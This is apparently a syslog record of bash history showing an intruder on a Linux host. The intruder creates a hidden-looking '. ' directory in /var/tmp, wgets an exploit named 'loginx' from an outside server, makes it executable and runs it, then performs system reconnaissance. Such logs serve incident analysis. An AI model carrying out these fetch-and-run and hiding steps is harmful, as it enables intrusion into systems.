Someone

Jan 31 18:13:52 roon bash: HISTORY: PID=2269 UID=0 ls
Jan 31 18:13:53 roon bash: HISTORY: PID=2269 UID=0 ls -al
Jan 31 18:13:55 roon bash: HISTORY: PID=2269 UID=0 cd /var/tmp
Jan 31 18:13:56 roon bash: HISTORY: PID=2269 UID=0 ls -al
Jan 31 18:14:00 roon bash: HISTORY: PID=2269 UID=0 ls -al /dev/shm
Jan 31 18:14:20 roon bash: HISTORY: PID=2269 UID=0 cd /dev/shm
Jan 31 18:14:20 roon bash: HISTORY: PID=2269 UID=0 ls -al
Jan 31 18:14:23 roon bash: HISTORY: PID=2269 UID=0 cat index.html  |more
Jan 31 18:14:30 roon bash: HISTORY: PID=2269 UID=0                         w
Jan 31 18:14:31 roon bash: HISTORY: PID=2269 UID=0 w
Jan 31 18:14:34 roon bash: HISTORY: PID=2269 UID=0 tail -f /var/log/messages
Jan 31 18:14:36 roon -bash: HISTORY: PID=32634 UID=1026 w
Jan 31 18:14:52 roon -bash: HISTORY: PID=32634 UID=1026 cd /var/tmp
Jan 31 18:14:55 roon -bash: HISTORY: PID=32634 UID=1026 mkdir ". "
Jan 31 18:14:57 roon -bash: HISTORY: PID=32634 UID=1026 ls
Jan 31 18:14:58 roon -bash: HISTORY: PID=32634 UID=1026 wget trades.1gb.at/exploit/loginx
Jan 31 18:15:01 roon -bash: HISTORY: PID=32634 UID=1026 ls
Jan 31 18:15:09 roon -bash: HISTORY: PID=32634 UID=1026 chmod 777 loginx
Jan 31 18:15:10 roon -bash: HISTORY: PID=32634 UID=1026 loginx
Jan 31 18:15:13 roon -bash: HISTORY: PID=32634 UID=1026 ./loginx

Jan 31 18:15:30 roon -bash: HISTORY: PID=32634 UID=1026 uname -a
Jan 31 18:15:57 roon -bash: HISTORY: PID=32634 UID=1026 wget
Jan 31 18:16:04 roon -bash: HISTORY: PID=32634 UID=1026 version
Jan 31 18:16:11 roon -bash: HISTORY: PID=32634 UID=1026 cat /etc/version
Jan 31 18:16:15 roon -bash: HISTORY: PID=32634 UID=1026 cat /etc/info
Jan 31 18:16:17 roon -bash: HISTORY: PID=32634 UID=1026 info
Jan 31 18:16:20 roon -bash: HISTORY: PID=32634 UID=1026 ls
Jan 31 18:16:21 roon -bash: HISTORY: PID=32634 UID=1026 w
Jan 31 18:16:25 roon -bash: HISTORY: PID=32634 UID=1026 cd " "
Jan 31 18:16:27 roon -bash: HISTORY: PID=32634 UID=1026 cd "  "
Jan 31 18:16:29 roon -bash: HISTORY: PID=32634 UID=1026 cd ""
Jan 31 18:16:31 roon -bash: HISTORY: PID=32634 UID=1026 ls
Jan 31 18:16:34 roon -bash: HISTORY: PID=32634 UID=1026 cd ". "
Jan 31 18:16:36 roon -bash: HISTORY: PID=32634 UID=1026 ls
Jan 31 18:17:36 roon -bash: HISTORY: PID=32299 UID=1026 w
Jan 31 18:18:50 roon -bash: HISTORY: PID=32299 UID=1026 uname -a
Jan 31 18:19:10 roon -bash: HISTORY: PID=32299 UID=1026 w
Jan 31 18:19:23 roon -bash: HISTORY: PID=32299 UID=1026 cat /etc/issue
Jan 31 18:21:52 roon -bash: HISTORY: PID=32299 UID=1026 cat /etc/hosts
Jan 31 18:22:07 roon -bash: HISTORY: PID=32299 UID=1026 hists -h
Jan 31 18:22:10 roon -bash: HISTORY: PID=32299 UID=1026 hists -f
Jan 31 18:22:16 roon -bash: HISTORY: PID=32299 UID=1026 hosts -n
Jan 31 18:22:16 roon -bash: HISTORY: PID=32299 UID=1026 hosts -f